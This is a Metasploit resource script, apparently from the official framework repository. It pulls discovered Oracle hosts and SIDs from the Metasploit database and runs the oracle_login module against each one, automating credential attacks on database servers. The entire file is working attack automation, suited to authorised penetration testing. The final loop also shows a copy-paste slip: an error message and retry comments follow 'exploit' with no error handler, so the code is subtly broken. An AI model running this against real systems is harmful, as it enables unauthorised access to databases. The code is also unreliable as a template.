rapid7/metasploit-framework

# oracle_login.rc
# Author: nebulus

<ruby>

hosts = {}
host_id_to_ip = {}

# map hosts ip to host_id

begin
    framework.db.hosts.each do |host|
        # don't really like having to do that but only way I could tie them together as notes were missing ip
        host_id_to_ip[host.id] = host.address
    end
    rescue ActiveRecord::ConnectionNotEstablished
        puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
#        self.run_single('db_connect <creds>')
#        puts "trying again..."
#        retry

end

begin
    framework.db.notes.each do |note|
        if ( note.ntype == 'oracle_sid' )
            data = note.data
            if(data =~ /PORT=(\d+), SID=(\S*)$/)
                ip = host_id_to_ip[note.host_id]
                port = "#{$1}"
                sid = "#{$2}"
                if(sid != '')
                    hosts["#{ip}"] = {'RPORT' => port, 'SID' => sid}
                end
            else
                puts "Bad regexp (#{note.inspect})"
            end
        end
    end
    rescue ActiveRecord::ConnectionNotEstablished
        puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
#        self.run_single('db_connect <creds>')
#        puts "trying again..."
#        retry
end

self.run_single("use auxiliary/admin/oracle/oracle_login")

hosts.each do |rhost|
    begin
        self.run_single("set RHOST #{rhost[0]}")
        self.run_single("set RPORT #{rhost[1]['RPORT']}")
        self.run_single("set SID #{rhost[1]['SID']}")
        self.run_single('exploit')
        puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
#        self.run_single('db_connect <creds>')
#        puts "trying again..."
#        retry
    end

end
</ruby>